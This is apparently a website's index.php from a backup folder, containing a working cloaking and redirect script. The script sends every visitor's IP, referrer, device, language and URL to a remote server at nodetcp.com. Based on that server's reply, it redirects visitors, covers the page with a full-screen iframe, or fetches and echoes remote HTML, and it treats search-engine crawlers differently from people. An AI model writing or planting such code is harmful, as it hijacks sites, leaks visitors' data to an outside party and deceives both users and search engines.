File: //www/备份的/sum.thinbodya.com/index.php
<?php
function is_spider() {
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : "";
if (preg_match('#(spider|mj12bot|dotbot|bingbot|googlebot|slurp|SemrushBot|AhrefsBot)#i', $ua)){
return 1;
}
return 0;
}
$spider=is_spider();
$url1='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
function isMobile() {
if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
return '手机';
}
if (isset($_SERVER['HTTP_VIA'])) {
return stristr($_SERVER['HTTP_VIA'], "wap") ? '手机' : false;
}
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel',
'lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi',
'openwave','nexusone','cldc','midp','wap','mobile','MicroMessenger');
if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
return '手机';
}
}
if (isset ($_SERVER['HTTP_ACCEPT'])) {
if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') ===
false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
return '手机';
}
}
return '电脑';
}
$Mobile=isMobile();
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
function getIp()
{
if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")) {
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) {
$ip = $_SERVER["REMOTE_ADDR"];
} else {
if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],
"unknown")
) {
$ip = $_SERVER['REMOTE_ADDR'];
} else {
$ip = "unknown";
}
}
}
}
return ($ip);
}
$ip=getIp();
$widths = "<script>document.write(screen.width)<\/script>";
$heights = "<script>document.write(screen.height)<\/script>";
$heard = 0;
function clientOS() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if(strpos($agent, 'windows nt')) {
$platform = 'windows';
} elseif(strpos($agent, 'macintosh')) {
$platform = 'mac';
} elseif(strpos($agent, 'ipod')) {
$platform = 'ios';
} elseif(strpos($agent, 'ipad')) {
$platform = 'ios';
} elseif(strpos($agent, 'iphone')) {
$platform = 'ios';
} elseif (strpos($agent, 'android')) {
$platform = 'android';
} elseif(strpos($agent, 'unix')) {
$platform = 'unix';
} elseif(strpos($agent, 'linux')) {
$platform = 'linux';
} else {
$platform = 'other';
}
return $platform;
}
function getCurl1($url,$turn=0)
{
header("Content-type: text/html; charset=utf8");
$headers = [];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36");
curl_setopt($curl, CURLOPT_REFERER, "http://www.baidu.com/");
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
$data = curl_exec($curl);
curl_close($curl);
if ($turn)
$data = mb_convert_encoding($data, 'UTF-8', 'UTF-8,GBK,GB2312,BIG5');
return $data;
}
$opersystem=clientOS();
$refefef=$_SERVER['HTTP_REFERER'];
$ch = curl_init('https://nodetcp.com/vue-admin-php/public/index.php/admin/check/adList');
$jsonData= array();
$jsonData['site_id']=8083;
$jsonData['username']='1006941410@qq.com';
$jsonData['refefef']=$refefef;
$jsonData['heard']=$heard;
$jsonData['widths']=$widths;
$jsonData['heights']=$heights;
$jsonData['opersystem']=$opersystem;
$jsonData['spider']=$spider;
$jsonData['url1']=$url1;
$jsonData['Mobile']=$Mobile;
$jsonData['lang']=$lang;
$jsonData['ip']=$ip;
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERPWD, "$username:$password");
curl_setopt($ch, CURLOPT_TIMEOUT,0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($jsonData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$model = json_decode(curl_exec($ch));
if($model->type=='luodi'){
if($model->anquan=='301'){
echo("<script>location.href = '$model->anquanlianjie';</script>");
}
else if($model->anquan=='ifame'){
echo "<iframe src=$model->anquanlianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
}
else if($model->anquan=='inner html'){
echo require("data.php");
}
}
else {
if($model->youdao=='404'){
@header("http/1.1 404 not found");
return;
}
else if($model->youdao=='301'){
echo("<script>location.href = '$model->youdaolianjie';</script>");
}
else if($model->youdao=='inner html'){
echo require("safety.php");
}
else if($model->youdao=='超简页'){
$stream_opts = [
"ssl" => [
"verify_peer"=>false,
"verify_peer_name"=>false,
]
];
if($model->sitetype=='commerce'){
echo file_get_contents("https://file.nodetcp.com/commerce/revise/$model->commerce/index.html",false, stream_context_create($stream_opts));
}
else{
echo file_get_contents("https://file.nodetcp.com/$model->sitetype/revise/index.html",false, stream_context_create($stream_opts));
}
}
else if($model->youdao=='ifame'){
echo "<iframe src=$model->youdaolianjie frameborder='0'width='100%' height='100%' style='width:100%;height:100%;position:absolute;top:0px;left:0px;'></iframe>";
}
else if($model->youdao=='采集'){
echo getCurl1($model->youdaolianjie);
}
}
?>